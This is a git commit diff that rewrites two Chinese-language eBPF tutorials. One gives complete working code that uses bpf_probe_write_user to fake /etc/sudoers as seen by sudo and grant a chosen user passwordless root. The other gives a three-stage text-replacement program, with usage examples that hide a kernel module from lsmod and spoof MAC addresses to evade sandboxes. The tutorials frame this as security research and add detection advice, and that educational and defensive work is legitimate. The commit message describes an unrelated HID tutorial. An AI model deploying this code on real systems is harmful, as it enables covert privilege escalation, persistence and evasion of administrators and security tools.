feat: Add eBPF tutorial for dynamically fixing HID device issues without kernel patches

- Introduced a new tutorial on using HID-BPF to create virtual mouse devices and modify their input dynamically.
- Explained the common issues with HID devices and how traditional methods are cumbersome.
- Provided detailed implementation steps for creating a virtual HID device using uhid and modifying input with eBPF.
- Included example code for both user space and BPF programs, demonstrating how to intercept and modify HID reports.
- Highlighted the advantages of using virtual devices for learning and experimentation.
- Added references for further reading on HID-BPF and related projects.
This commit is contained in:
yunwei37
2025-10-05 23:19:04 -07:00
parent 635b478184
commit dc2c40f6d6
3 changed files with 1119 additions and 26 deletions

View File

@@ -1,25 +1,288 @@
# 使用 eBPF 添加 sudo 用户
# eBPF 教程: 文件操纵实现 sudo 权限提升
本文完整的源代码:<https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/26-sudo>
eBPF 的能力远不止简单的跟踪——它可以实时修改流经内核的数据。虽然这种能力为性能优化和安全监控提供了创新解决方案,但它也为传统安全工具可能遗漏的复杂攻击向量打开了大门。本教程演示了其中一种技术:使用 eBPF 通过操纵 `sudo` 读取 `/etc/sudoers` 时看到的内容,向非特权用户授予 root 访问权限。
关于如何安装依赖,请参考:<https://eunomia.dev/tutorials/11-bootstrap/>
此示例揭示了攻击者如何滥用 eBPF 的 `bpf_probe_write_user` 辅助函数来完全绕过 Linux 的权限模型,而不会在日志文件中留下痕迹或修改实际的系统文件。理解这些攻击模式对于构建 eBPF 感知安全监控的防御者至关重要。
编译:
> 完整源代码: <https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/26-sudo>
## 攻击向量:拦截文件读取
传统的权限提升攻击直接修改 `/etc/sudoers`,在文件时间戳、审计日志和完整性监控系统中留下明显痕迹。这种基于 eBPF 的方法要微妙得多——它拦截 `sudo` 的读取操作,并在 `sudo` 处理之前替换内存中的文件内容。磁盘上的实际文件保持不变,击败了大多数文件完整性监视器。
攻击的工作原理是利用一个关键窗口:当 `sudo``/etc/sudoers` 读入缓冲区时,数据短暂地存在于用户空间内存中。eBPF 程序可以使用 `bpf_probe_write_user` 访问和修改此用户空间内存,有效地向 `sudo` 撒谎关于存在什么权限,而无需触摸真实文件。
以下是攻击流程:当任何进程打开 `/etc/sudoers` 时,我们记录其文件描述符。当同一进程从文件读取时,我们捕获缓冲区地址。读取完成后,我们用 `<username> ALL=(ALL:ALL) NOPASSWD:ALL #` 覆盖第一行,使 `sudo` 相信目标用户具有完全的 root 权限。尾部的 `#` 注释掉该行上的任何原始内容,防止解析错误。
## 实现:挂钩系统调用路径
让我们检查如何在 eBPF 中实现此攻击。完整的内核端代码协调四个系统调用挂钩来跟踪文件操作并注入恶意内容。
```c
// SPDX-License-Identifier: BSD-3-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "common.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
// 环形缓冲区映射,用于从内核向用户传递消息
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
// 保存来自 'openat' 调用的文件描述符的映射
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, unsigned int);
} map_fds SEC(".maps");
// 保存来自 'read' 调用的缓冲区地址的映射
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buff_addrs SEC(".maps");
// 可选的目标父进程 PID
const volatile int target_ppid = 0;
// 用户的 UserID,如果我们要限制仅针对此用户运行
const volatile int uid = 0;
// 这些存储我们要添加到 /etc/sudoers 的字符串
// 当 sudo 查看时,这使它认为我们的用户可以无密码 sudo
const volatile int payload_len = 0;
const volatile char payload[max_payload_len];
SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
// 检查我们是否是感兴趣的进程线程
// 如果 target_ppid 为 0,则我们针对所有 pid
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// 检查 comm 是否为 sudo
char comm[TASK_COMM_LEN];
bpf_get_current_comm(comm, sizeof(comm));
const int sudo_len = 5;
const char *sudo = "sudo";
for (int i = 0; i < sudo_len; i++) {
if (comm[i] != sudo[i]) {
return 0;
}
}
// 现在检查我们是否正在打开 sudoers
const char *sudoers = "/etc/sudoers";
char filename[sudoers_len];
bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]);
for (int i = 0; i < sudoers_len; i++) {
if (filename[i] != sudoers[i]) {
return 0;
}
}
bpf_printk("Comm %s\n", comm);
bpf_printk("Filename %s\n", filename);
// 如果按 UID 过滤,检查它
if (uid != 0) {
int current_uid = bpf_get_current_uid_gid() >> 32;
if (uid != current_uid) {
return 0;
}
}
// 为 sys_exit 调用将 pid_tgid 添加到映射
unsigned int zero = 0;
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
return 0;
}
SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
{
// 检查此 open 调用是否正在打开我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
int pid = pid_tgid >> 32;
// 将映射值设置为返回的文件描述符
unsigned int fd = (unsigned int)ctx->ret;
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
return 0;
}
SEC("tp/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
{
// 检查此 open 调用是否正在打开我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (pfd == 0) {
return 0;
}
// 检查这是否是 sudoers 文件描述符
unsigned int map_fd = *pfd;
unsigned int fd = (unsigned int)ctx->args[0];
if (map_fd != fd) {
return 0;
}
// 从参数中存储缓冲区地址到映射
long unsigned int buff_addr = ctx->args[1];
bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY);
// 记录并退出
size_t buff_size = (size_t)ctx->args[2];
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
// 检查此 open 调用是否正在读取我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
long unsigned int buff_addr = *pbuff_addr;
if (buff_addr <= 0) {
return 0;
}
// 这是从 read 系统调用返回的数据量
if (ctx->ret <= 0) {
return 0;
}
long int read_size = ctx->ret;
// 添加我们的有效负载到第一行
if (read_size < payload_len) {
return 0;
}
// 覆盖第一块数据
// 然后添加 '#' 来注释掉块中的其余数据。
// 这有点破坏了 sudoers 文件,但一切仍然按预期工作
char local_buff[max_payload_len] = { 0x00 };
bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr);
for (unsigned int i = 0; i < max_payload_len; i++) {
if (i >= payload_len) {
local_buff[i] = '#';
}
else {
local_buff[i] = payload[i];
}
}
// 将数据写回缓冲区
long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len);
// 发送事件
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = pid;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
return 0;
}
SEC("tp/syscalls/sys_exit_close")
int handle_close_exit(struct trace_event_raw_sys_exit *ctx)
{
// 检查我们是否是感兴趣的进程线程
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
// 关闭文件,从所有映射中删除 fd 以清理
bpf_map_delete_elem(&map_fds, &pid_tgid);
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
return 0;
}
```
程序使用多阶段方法。首先,`handle_openat_enter` 充当过滤器——它检查进程是否为 `sudo`,是否正在打开 `/etc/sudoers`,以及可选地是否匹配特定的 UID 或父 PID。此过滤至关重要,因为我们不想影响系统上的每个文件操作,只影响 `sudo` 读取其配置的特定情况。
`sudo` 打开 `/etc/sudoers` 时,内核返回一个文件描述符。我们在 `handle_openat_exit` 中捕获它并将文件描述符存储在 `map_fds` 中。此映射将进程(由 `pid_tgid` 标识)链接到其 sudoers 文件描述符,以便我们知道要拦截哪些读取。
下一个挂钩 `handle_read_enter``sudo` 对该文件描述符调用 `read()` 时触发。这里的关键细节是捕获缓冲区地址——那是内核将复制文件内容的地方,也是我们将覆盖的地方。我们将此地址存储在 `map_buff_addrs` 中。
攻击在 `handle_read_exit` 中执行。在内核完成读取操作并用真实的 sudoers 内容填充缓冲区后,我们使用 `bpf_probe_write_user` 覆盖它。我们用有效负载(`<username> ALL=(ALL:ALL) NOPASSWD:ALL #`)替换第一行,并用 `#` 字符填充缓冲区的其余部分以注释掉原始内容。从 `sudo` 的角度来看,它读取了一个合法的 sudoers 文件,授予我们的用户完全权限。
最后,`handle_close_exit``sudo` 关闭文件时清理我们的跟踪映射,防止内存泄漏。
## 用户空间加载器和配置
用户空间组件很简单——它配置攻击参数并加载 eBPF 程序。关键部分是设置将注入到 `sudo` 内存中的有效负载字符串。此字符串存储在 eBPF 程序的只读数据部分,使其在验证时对内核可见,但在加载前可修改。
加载器接受命令行参数来指定要授予权限的用户名,可选地将攻击限制为特定用户或进程树,然后使用这些参数烘焙到字节码中加载 eBPF 程序。当 `sudo` 接下来运行时,攻击会自动执行,无需进一步的用户空间交互。
## 安全影响和检测
此攻击演示了为什么 eBPF 需要 `CAP_BPF``CAP_SYS_ADMIN` 权限——这些程序可以从根本上改变系统行为。即使攻击者短暂地获得了 root 访问权限,也可以加载此 eBPF 程序并在其初始立足点被移除后维持持久访问。
检测具有挑战性。磁盘上的文件保持不变,因此传统的文件完整性监控失败。攻击完全发生在正常系统调用执行期间的内核空间中,不留下异常的进程行为。然而,防御者可以查找具有写入能力的已加载 eBPF 程序(`bpftool prog list`),监控 `bpf()` 系统调用,或使用可以检查已加载程序的 eBPF 感知安全工具。
像 Falco 和 Tetragon 这样的现代安全平台可以通过监控程序加载和检查附加的挂钩来检测可疑的 eBPF 活动。关键是保持对 eBPF 子系统本身的可见性。
## 编译和执行
通过在教程目录中运行 make 来编译程序:
```bash
cd src/26-sudo
make
```
使用方式:
要测试攻击(在安全的 VM 环境中),以 root 身份运行并指定目标用户名:
```sh
```bash
sudo ./sudoadd --username lowpriv-user
```
个程序允许一个通常权限较低的用户使用 `sudo` 成为 root
将拦截 `sudo` 操作并授予 `lowpriv-user` root 访问权限,而不修改 `/etc/sudoers`。当 `lowpriv-user` 运行 `sudo` 时,他们将能够以 root 身份执行命令而无需输入密码。读取 `/etc/sudoers` 的其他程序(如 `cat` 或文本编辑器)仍将看到原始的、未修改的文件
它通过拦截 `sudo` 读取 `/etc/sudoers` 文件,并将第一行覆盖为 `<username> ALL=(ALL:ALL) NOPASSWD:ALL #` 的方式工作。这欺骗了 sudo使其认为用户被允许成为 root。其他程序如 `cat``sudoedit` 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 `#` 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑
`--restrict` 标志将攻击限制为仅在由指定用户执行时工作,`--target-ppid` 可以将攻击范围限定为特定的进程树
## 总结
本教程展示了 eBPF 的内存操纵能力如何通过拦截和修改流经内核的数据来颠覆 Linux 的安全模型。虽然对于合法的调试和监控非常强大,但这些相同的功能使得能够绕过传统安全控制的复杂攻击成为可能。防御者的关键要点是,eBPF 程序本身必须被视为攻击面的关键部分——监控加载了哪些 eBPF 程序以及它们使用什么能力对于现代 Linux 安全至关重要。
> 如果你想深入了解 eBPF,请查看我们的教程代码仓库 <https://github.com/eunomia-bpf/bpf-developer-tutorial> 或访问我们的网站 <https://eunomia.dev/tutorials/>。
## 参考资料
- <https://github.com/pathtofile/bad-bpf>
- 原始 bad-bpf 项目: <https://github.com/pathtofile/bad-bpf>
- eBPF 辅助函数文档: <https://man7.org/linux/man-pages/man7/bpf-helpers.7.html>
- `bpf_probe_write_user` 安全考虑: <https://lwn.net/Articles/695991/>

View File

@@ -1,40 +1,438 @@
# 使用 eBPF 替换任意程序读取或写入的文本
# eBPF 教程: 替换任意程序读取或写入的文本
完整源代码:<https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/27-replace>
当你在 Linux 中读取文件时,你相信所看到的内容与磁盘上存储的内容一致。但如果内核本身在对你撒谎呢?本教程演示了 eBPF 程序如何拦截文件读取操作并在应用程序看到文本之前悄悄替换文本——为防御性安全监控和攻击性 rootkit 技术创造了强大的能力。
关于如何安装依赖,请参考:<https://eunomia.dev/tutorials/11-bootstrap/>
与在时间戳和审计日志中留下痕迹的传统文件修改不同,这种方法在读取系统调用期间动态操纵数据。磁盘上的文件保持不变,但读取它的每个程序都看到修改后的内容。这种技术在安全研究、蜜罐部署和反恶意软件欺骗中具有合法用途,但也揭示了 rootkit 如何向系统管理员隐藏其存在。
编译:
> 完整源代码: <https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/27-replace>
```bash
make
## 用例:从安全到欺骗
文件读取中的文本替换在安全领域的各个方面都有多种用途。对于防御者来说,它可以实现向攻击者呈现虚假凭据的蜜罐系统,或者使恶意软件相信它成功了但实际上没有的欺骗层。安全研究人员使用它通过向可疑进程提供受控数据来研究恶意软件行为。
在攻击方面,rootkit 使用这种确切的技术来隐藏其存在。经典的例子是通过用空格或其他模块名称替换它们在 `/proc/modules` 中的名称来隐藏内核模块,使其不被 `lsmod` 发现。恶意软件可以通过修改从 `/sys/class/net/*/address` 读取的内容来伪造 MAC 地址,击败寻找虚拟机标识符的沙箱检测。
关键洞察是这在系统调用边界上操作——在内核读取文件之后但在用户空间进程看到数据之前。无论你多少次 `cat` 文件或在不同的编辑器中打开它,你总是会看到修改后的版本,因为 eBPF 程序拦截了每个读取操作。
## 架构:多阶段文本扫描和替换
此实现比简单的字符串替换更复杂。挑战在于在 eBPF 的约束内工作:有限的栈大小、没有无界循环和严格的验证器检查。为了处理任意大的文件和多个匹配,程序使用三阶段方法,使用尾调用将 eBPF 程序链接在一起。
第一阶段(`find_possible_addrs`)扫描读取缓冲区,寻找与我们搜索字符串的第一个字符匹配的字符。由于复杂性限制,它还不能进行完整的字符串匹配,所以它只是标记潜在位置。这些地址存储在 `map_name_addrs` 中供下一阶段使用。
第二阶段(`check_possible_addresses`)从第一阶段尾调用。它检查每个潜在匹配位置,并使用 `bpf_strncmp` 进行完整字符串比较。这验证了我们是否真的找到了目标文本。确认的匹配进入 `map_to_replace_addrs`
第三阶段(`overwrite_addresses`)循环遍历确认的匹配位置,并使用 `bpf_probe_write_user` 用替换字符串覆盖文本。因为两个字符串必须具有相同的长度(以避免移动内存和损坏缓冲区),用户必须填充其替换文本以匹配。
此流水线通过将工作拆分到多个程序中来处理验证器的复杂性限制,每个程序都保持在指令计数阈值之下。尾调用提供了粘合剂,允许一个程序将控制传递给具有相同上下文的下一个程序。
## 实现细节
让我们检查实现此三阶段流水线的完整 eBPF 代码:
```c
// SPDX-License-Identifier: BSD-3-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "replace.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
// 环形缓冲区映射,用于从内核向用户传递消息
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
// 保存来自 'openat' 调用的文件描述符的映射
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, unsigned int);
} map_fds SEC(".maps");
// 保存来自 'read' 调用的缓冲区地址的映射
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buff_addrs SEC(".maps");
// 保存可能匹配地址的映射
// 注意:这应该是 map-of-maps,顶层键为 pid_tgid,这样我们知道正在查看正确的程序
#define MAX_POSSIBLE_ADDRS 500
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, MAX_POSSIBLE_ADDRS);
__type(key, unsigned int);
__type(value, long unsigned int);
} map_name_addrs SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, MAX_POSSIBLE_ADDRS);
__type(key, unsigned int);
__type(value, long unsigned int);
} map_to_replace_addrs SEC(".maps");
// 保存用于尾调用的程序的映射
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 5);
__type(key, __u32);
__type(value, __u32);
} map_prog_array SEC(".maps");
// 可选的目标父进程 PID
const volatile int target_ppid = 0;
// 这些存储要替换文本的文件名
const volatile int filename_len = 0;
const volatile char filename[50];
// 这些存储要在文件中查找和替换的文本
const volatile unsigned int text_len = 0;
const volatile char text_find[FILENAME_LEN_MAX];
const volatile char text_replace[FILENAME_LEN_MAX];
SEC("tp/syscalls/sys_exit_close")
int handle_close_exit(struct trace_event_raw_sys_exit *ctx)
{
// 检查我们是否是感兴趣的进程线程
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
// 关闭文件,从所有映射中删除 fd 以清理
bpf_map_delete_elem(&map_fds, &pid_tgid);
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
return 0;
}
SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
// 检查我们是否是感兴趣的进程线程
// 如果 target_ppid 为 0,则我们针对所有 pid
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// 从参数获取文件名
char check_filename[FILENAME_LEN_MAX];
bpf_probe_read_user(&check_filename, filename_len, (char*)ctx->args[1]);
// 检查文件名是否为我们的目标
for (int i = 0; i < filename_len; i++) {
if (filename[i] != check_filename[i]) {
return 0;
}
}
// 为 sys_exit 调用将 pid_tgid 添加到映射
unsigned int zero = 0;
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
bpf_printk("[TEXT_REPLACE] PID %d Filename %s\n", pid, filename);
return 0;
}
SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
{
// 检查此 open 调用是否正在打开我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
int pid = pid_tgid >> 32;
// 将映射值设置为返回的文件描述符
unsigned int fd = (unsigned int)ctx->ret;
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
return 0;
}
SEC("tp/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
{
// 检查此 open 调用是否正在打开我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (pfd == 0) {
return 0;
}
// 检查这是否是正确的文件描述符
unsigned int map_fd = *pfd;
unsigned int fd = (unsigned int)ctx->args[0];
if (map_fd != fd) {
return 0;
}
// 从参数中存储缓冲区地址到映射
long unsigned int buff_addr = ctx->args[1];
bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY);
// 记录并退出
size_t buff_size = (size_t)ctx->args[2];
bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_addr 0x%lx\n", pid, fd, buff_addr);
bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_size %lu\n", pid, fd, buff_size);
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int find_possible_addrs(struct trace_event_raw_sys_exit *ctx)
{
// 检查此 open 调用是否正在读取我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int buff_addr = *pbuff_addr;
long unsigned int name_addr = 0;
if (buff_addr <= 0) {
return 0;
}
// 这是从 read 系统调用返回的数据量
if (ctx->ret <= 0) {
return 0;
}
long int buff_size = ctx->ret;
unsigned long int read_size = buff_size;
bpf_printk("[TEXT_REPLACE] PID %d | read_size %lu | buff_addr 0x%lx\n", pid, read_size, buff_addr);
// 64 可能对循环来说太大了
char local_buff[LOCAL_BUFF_SIZE] = { 0x00 };
if (read_size > (LOCAL_BUFF_SIZE+1)) {
// 需要循环 :-(
read_size = LOCAL_BUFF_SIZE;
}
// 以块的方式读取返回的数据,并记录我们要查找的文本的
// 第一个字符的每个实例。
// 这一切都非常复杂,但需要保持程序复杂性和大小
// 足够低以通过验证器检查
unsigned int tofind_counter = 0;
for (unsigned int i = 0; i < loop_size; i++) {
// 从缓冲区以块的方式读取
bpf_probe_read(&local_buff, read_size, (void*)buff_addr);
for (unsigned int j = 0; j < LOCAL_BUFF_SIZE; j++) {
// 查找我们要查找的文本的第一个字符
if (local_buff[j] == text_find[0]) {
name_addr = buff_addr+j;
// 这可能是我们的文本,将地址添加到映射
// 以便由程序 'check_possible_addrs' 检查
bpf_map_update_elem(&map_name_addrs, &tofind_counter, &name_addr, BPF_ANY);
tofind_counter++;
}
}
buff_addr += LOCAL_BUFF_SIZE;
}
// 尾调用到 'check_possible_addrs' 以循环遍历可能的地址
bpf_printk("[TEXT_REPLACE] PID %d | tofind_counter %d \n", pid, tofind_counter);
bpf_tail_call(ctx, &map_prog_array, PROG_01);
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int check_possible_addresses(struct trace_event_raw_sys_exit *ctx) {
// 检查此 open 调用是否正在打开我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int* pName_addr = 0;
long unsigned int name_addr = 0;
unsigned int newline_counter = 0;
unsigned int match_counter = 0;
char name[text_len_max+1];
unsigned int j = 0;
char old = 0;
const unsigned int name_len = text_len;
if (name_len < 0) {
return 0;
}
if (name_len > text_len_max) {
return 0;
}
// 遍历每个可能的位置
// 并检查它是否真的匹配我们的文本
for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) {
newline_counter = i;
pName_addr = bpf_map_lookup_elem(&map_name_addrs, &newline_counter);
if (pName_addr == 0) {
break;
}
name_addr = *pName_addr;
if (name_addr == 0) {
break;
}
bpf_probe_read_user(&name, text_len_max, (char*)name_addr);
// 我们可以在这里使用 bpf_strncmp,
// 但它在 5.17 之前的内核版本中不可用
if (bpf_strncmp(name, text_len_max, (const char *)text_find) == 0) {
// ***********
// 我们找到了我们的文本!
// 将位置添加到映射以覆盖
// ***********
bpf_map_update_elem(&map_to_replace_addrs, &match_counter, &name_addr, BPF_ANY);
match_counter++;
}
bpf_map_delete_elem(&map_name_addrs, &newline_counter);
}
// 如果我们至少找到一个匹配,跳转到程序覆盖文本
if (match_counter > 0) {
bpf_tail_call(ctx, &map_prog_array, PROG_02);
}
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int overwrite_addresses(struct trace_event_raw_sys_exit *ctx) {
// 检查此 open 调用是否正在打开我们的目标文件
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int* pName_addr = 0;
long unsigned int name_addr = 0;
unsigned int match_counter = 0;
// 循环遍历每个要替换文本的地址
for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) {
match_counter = i;
pName_addr = bpf_map_lookup_elem(&map_to_replace_addrs, &match_counter);
if (pName_addr == 0) {
break;
}
name_addr = *pName_addr;
if (name_addr == 0) {
break;
}
// 尝试用我们的替换字符串覆盖数据(减去结束的空字节)
long ret = bpf_probe_write_user((void*)name_addr, (void*)text_replace, text_len);
// 发送事件
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = pid;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
bpf_printk("[TEXT_REPLACE] PID %d | [*] replaced: %s\n", pid, text_find);
// 完成后清理映射
bpf_map_delete_elem(&map_to_replace_addrs, &match_counter);
}
return 0;
}
```
使用方式:
程序从跟踪文件打开的熟悉模式开始。当进程打开我们的目标文件(通过 `filename` 常量指定)时,我们在 `map_fds` 中记录其文件描述符。这让我们稍后识别来自该特定文件的读取。
```sh
sudo ./replace --filename /path/to/file --input foo --replace bar
```
有趣的部分从 `handle_read_enter` 开始,我们捕获用户空间传递给 `read()` 系统调用的缓冲区地址。这个地址是内核将写入文件内容的地方,至关重要的是,它也是我们可以在用户空间进程查看数据之前修改它们的地方。
这个程序将文件中所有与 `input` 匹配的文本替换为 `replace` 文本
这有很多用途,例如:
主要逻辑位于 `find_possible_addrs` 中,附加到 `sys_exit_read`。在内核完成读取操作后,我们扫描缓冲区寻找潜在匹配。这里的约束是我们不能做无界循环——验证器会拒绝它。所以我们以 `LOCAL_BUFF_SIZE` 字节的块读取并扫描搜索字符串的第一个字符。每个潜在匹配地址进入 `map_name_addrs`
隐藏内核模块 `joydev`,避免被如 `lsmod` 这样的工具发现:
一旦我们扫描了缓冲区,我们使用尾调用跳转到 `check_possible_addresses`。此程序遍历潜在匹配并使用 `bpf_strncmp`(在内核 5.17+ 中可用)进行完整字符串比较。确认的匹配移动到 `map_to_replace_addrs`。如果我们找到任何匹配,我们再次尾调用到 `overwrite_addresses`
最后阶段 `overwrite_addresses` 使用 `bpf_probe_write_user` 执行实际修改。它循环遍历确认的匹配位置并用替换文本覆盖每一个。两个字符串具有相同长度的要求防止了缓冲区损坏——我们在不移动任何内存的情况下进行就地替换。
## 尾调用和验证器约束
尾调用(`bpf_tail_call`)的使用在这里至关重要。eBPF 程序面临严格的复杂性限制——验证器分析每个可能的执行路径以确保程序终止且不访问无效内存。执行扫描、匹配和替换的单个程序将超过这些限制。
尾调用提供了一种在绕过累积指令计数的同时链接程序的方法。当 `find_possible_addrs` 调用 `bpf_tail_call(ctx, &map_prog_array, PROG_01)` 时,它实质上是跳转到具有相同上下文的不同程序(`check_possible_addresses`)。当前程序的执行结束,新程序以新的指令计数预算开始。
用户空间加载器必须在附加任何东西之前使用尾调用程序的文件描述符填充 `map_prog_array`。这是在用户空间代码中使用 `bpf_map_update_elem` 完成的,将索引 `PROG_01` 映射到 `check_possible_addresses` 程序,将 `PROG_02` 映射到 `overwrite_addresses`
这种架构展示了一个关键的 eBPF 开发模式:当你遇到验证器限制时,将逻辑拆分为多个程序并使用尾调用来协调它们。
## 实际示例和安全影响
让我们看看现实世界的用例。隐藏内核模块以避免检测:
```bash
./replace -f /proc/modules -i 'joydev' -r 'cryptd'
```
伪造 `eth0` 接口的 MAC 地址:
当任何进程读取 `/proc/modules` 时,他们会在 `joydev` 实际出现的地方看到 `cryptd`。模块仍然加载并运行,但像 `lsmod` 这样的工具无法看到它。这是一种经典的 rootkit 技术。
伪造 MAC 地址以进行反沙箱规避:
```bash
./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00'
```
恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象
恶意软件经常通过查看 MAC 地址前缀(0x00:15:5d 表示 Hyper-V)来检查虚拟化。通过用零替换实际的 MAC 地址,恶意软件的虚拟化检测失败,使沙箱分析更容易
**注意:** `input``replace` 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 `$'\n'`,例如 `--replace $'text\n'`
防御翻转是将其用于蜜罐系统。你可以在配置文件中呈现虚假凭据,或使恶意软件相信它成功破坏了系统但实际上没有。磁盘上的文件内容保持安全,但读取它的攻击者看到虚假信息
## 编译和执行
编译程序:
```bash
cd src/27-replace
make
```
使用指定的文件和文本替换运行:
```bash
sudo ./replace --filename /path/to/file --input foo --replace bar
```
`input``replace` 必须具有相同的长度以避免缓冲区损坏。要在 bash 中包含换行符,使用 `$'\n'`:
```bash
./replace -f /proc/modules -i 'joydev' -r $'aaaa\n'
```
程序透明地拦截指定文件的所有读取并替换匹配的文本。按 Ctrl-C 停止。
## 总结
本教程演示了 eBPF 程序如何拦截文件读取操作并在用户空间看到数据之前修改数据,而不改变实际文件。我们探索了使用尾调用在验证器约束内工作的三阶段架构,使用 `bpf_probe_write_user` 进行内存操纵,以及从 rootkit 技术到防御性蜜罐部署的实际应用。理解这些模式对于攻击性安全研究和构建考虑基于 eBPF 的攻击的检测机制都至关重要。
